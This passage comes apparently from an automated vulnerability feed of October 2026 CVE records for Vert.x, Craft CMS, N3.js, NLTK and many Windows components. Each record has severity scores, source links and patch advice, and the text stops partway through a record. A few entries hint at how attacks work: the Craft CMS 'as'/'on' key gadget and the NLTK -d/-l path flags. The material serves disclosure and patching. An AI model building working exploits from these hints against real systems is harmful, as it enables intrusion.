In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should... (Oct 14, 2026).
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should reflect entirely the SSL semantics of the desired SSL properties. It is possible for a client to ask for an SSL context and obtain an SSL context with weaker properties, for instance a context with hostname validation and obtain a context ignoring hostname validation.



The impacted component is io.vertx:vertx-core.
CVSS 9.1 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102476).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102476&date=2026-10-25).
Sources:
NVD CVE-2026-102476: https://nvd.nist.gov/vuln/detail/CVE-2026-102476
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102476&date=2026-10-25
In Eclipse Vert.x versions [5.0.0,5.0.12] or [5.1.0,5.1.9] or [5.2.0, 5.2.0], the Vert.x HTTP client relies on an SSL context for efficiency purpose, the key of this cache should reflect entirely the SSL semantics of the desired SSL properties. It is possible for a client to ask for an SSL context and obtain an SSL context with weaker properties, for instance a context with hostname validation and obtain a context ignoring hostname validation.



The impacted component is io.vertx:vertx-core.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70045
Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70045).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70045&date=2026-10-25).
Sources:
NVD CVE-2026-70045: https://nvd.nist.gov/vuln/detail/CVE-2026-70045
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70045
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70045&date=2026-10-25
Use after free in Windows Work Folders allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without...
https://kevwire.com/record/CVE-2026-109308
Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without... (Oct 12, 2026).
Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without Component::cleanseConfig(), allowing behavior and event-handler injection. Authenticated control panel users with the performUpdates permission or Updates-utility access can supply 'as' or 'on' keys, such as an AttributeTypecastBehavior gadget, to execute arbitrary code.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109308).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109308&date=2026-10-25).
Sources:
NVD CVE-2026-109308: https://nvd.nist.gov/vuln/detail/CVE-2026-109308
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109308&date=2026-10-25
Craft CMS 4.0.0 before 4.18.7 and 5.0.0 before 5.10.14 passes the raw 'updates' request parameter in AppController::actionCacheUpdates to UpdatesModel without Component::cleanseConfig(), allowing behavior and event-handler injection. Authenticated control panel users with the performUpdates permission or Updates-utility access can supply 'as' or 'on' keys, such as an AttributeTypecastBehavior gadget, to execute arbitrary code.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs.
https://kevwire.com/record/CVE-2026-109563
N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. (Oct 12, 2026).
N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. Attackers can supply untrusted Turtle or N3 input containing long runs of digits that do not end a number, blocking the Node.js event loop and causing denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109563).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109563&date=2026-10-25).
Sources:
NVD CVE-2026-109563: https://nvd.nist.gov/vuln/detail/CVE-2026-109563
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109563&date=2026-10-25
N3.js before 2.11.1 contains a regular expression denial of service vulnerability in the N3Lexer number pattern that backtracks quadratically on long digit runs. Attackers can supply untrusted Turtle or N3 input containing long runs of digits that do not end a number, blocking the Node.js event loop and causing denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths.
https://kevwire.com/record/CVE-2026-109956
NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths. (Oct 13, 2026).
NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths. Attackers controlling the model_filename or model argument can make the weka JVM write files via -d or probe files via -l outside allowed data roots.
CVSS 8.3 (version 4.0; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109956).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109956&date=2026-10-25).
Sources:
NVD CVE-2026-109956: https://nvd.nist.gov/vuln/detail/CVE-2026-109956
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109956&date=2026-10-25
NLTK through 3.10.3 contains a path traversal vulnerability in WekaClassifier that allows attackers to bypass nltk.pathsec containment by supplying unvalidated model paths. Attackers controlling the model_filename or model argument can make the weka JVM write files via -d or probe files via -l outside allowed data roots.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70038
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70038).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70038&date=2026-10-25).
Sources:
NVD CVE-2026-70038: https://nvd.nist.gov/vuln/detail/CVE-2026-70038
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70038
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70038&date=2026-10-25
Use after free in Windows iSCSI allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-70031
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70031).
EPSS 1.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70031&date=2026-10-25).
Sources:
NVD CVE-2026-70031: https://nvd.nist.gov/vuln/detail/CVE-2026-70031
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70031
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70031&date=2026-10-25
Heap-based buffer overflow in Windows iSCSI allows an unauthorized attacker to deny service over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70027
Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70027).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70027&date=2026-10-25).
Sources:
NVD CVE-2026-70027: https://nvd.nist.gov/vuln/detail/CVE-2026-70027
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70027
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70027&date=2026-10-25
Heap-based buffer overflow in Windows Subsystem for Linux allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70026
Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70026).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70026&date=2026-10-25).
Sources:
NVD CVE-2026-70026: https://nvd.nist.gov/vuln/detail/CVE-2026-70026
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70026
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70026&date=2026-10-25
Use after free in Windows Secure Kernel Mode allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70024
Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network.
CVSS 9.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70024).
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70024&date=2026-10-25).
Sources:
NVD CVE-2026-70024: https://nvd.nist.gov/vuln/detail/CVE-2026-70024
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70024
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70024&date=2026-10-25
Stack-based buffer overflow in Windows Internet Information Services allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70015
Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70015).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70015&date=2026-10-25).
Sources:
NVD CVE-2026-70015: https://nvd.nist.gov/vuln/detail/CVE-2026-70015
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70015
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70015&date=2026-10-25
Use after free in Windows Local Security Authority Subsystem Service (LSASS) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70014
Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70014).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70014&date=2026-10-25).
Sources:
NVD CVE-2026-70014: https://nvd.nist.gov/vuln/detail/CVE-2026-70014
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-70014
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70014&date=2026-10-25
Use after free in Windows Cryptographic Services allows an authorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally.
https://kevwire.com/record/CVE-2026-69959
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally. (Oct 13, 2026).
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69959).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69959&date=2026-10-25).
Sources:
NVD CVE-2026-69959: https://nvd.nist.gov/vuln/detail/CVE-2026-69959
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69959
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69959&date=2026-10-25
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to execute code locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85371
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85371).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85371&date=2026-10-25).
Sources:
NVD CVE-2026-85371: https://nvd.nist.gov/vuln/detail/CVE-2026-85371
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85371
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85371&date=2026-10-25
Use after free in Network Policy Server (NPS) allows an unauthorized attacker to execute code over a network.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69957
Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69957).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69957&date=2026-10-25).
Sources:
NVD CVE-2026-69957: https://nvd.nist.gov/vuln/detail/CVE-2026-69957
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69957
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69957&date=2026-10-25
Integer overflow or wraparound in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85365
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85365).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85365&date=2026-10-25).
Sources:
NVD CVE-2026-85365: https://nvd.nist.gov/vuln/detail/CVE-2026-85365
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85365
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85365&date=2026-10-25
Heap-based buffer overflow in Servicing Stack Updates allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69952
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69952).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69952&date=2026-10-25).
Sources:
NVD CVE-2026-69952: https://nvd.nist.gov/vuln/detail/CVE-2026-69952
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69952
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69952&date=2026-10-25
Out-of-bounds read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69953
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69953).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69953&date=2026-10-25).
Sources:
NVD CVE-2026-69953: https://nvd.nist.gov/vuln/detail/CVE-2026-69953
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-69953
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69953&date=2026-10-25
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96919
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96919).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96919&date=2026-10-25).
Sources:
NVD CVE-2026-96919: https://nvd.nist.gov/vuln/detail/CVE-2026-96919
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96919
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96919&date=2026-10-25
Use after free in Windows Broadcast DVR User Service allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96918
Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96918).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96918&date=2026-10-25).
Sources:
NVD CVE-2026-96918: https://nvd.nist.gov/vuln/detail/CVE-2026-96918
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96918
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96918&date=2026-10-25
Improper access control in Windows NTFS allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-96917
Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96917).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96917&date=2026-10-25).
Sources:
NVD CVE-2026-96917: https://nvd.nist.gov/vuln/detail/CVE-2026-96917
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96917
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96917&date=2026-10-25
Heap-based buffer overflow in Windows PCI Bus Driver allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-69950
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Buffer over-read in Windows Overlay Filter allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 16, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-69950).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69950&date=2026-10-25).
Sources:
NVD CVE-2026-69950: https://nvd.nist.gov/vuln/detail/CVE-2026-69950
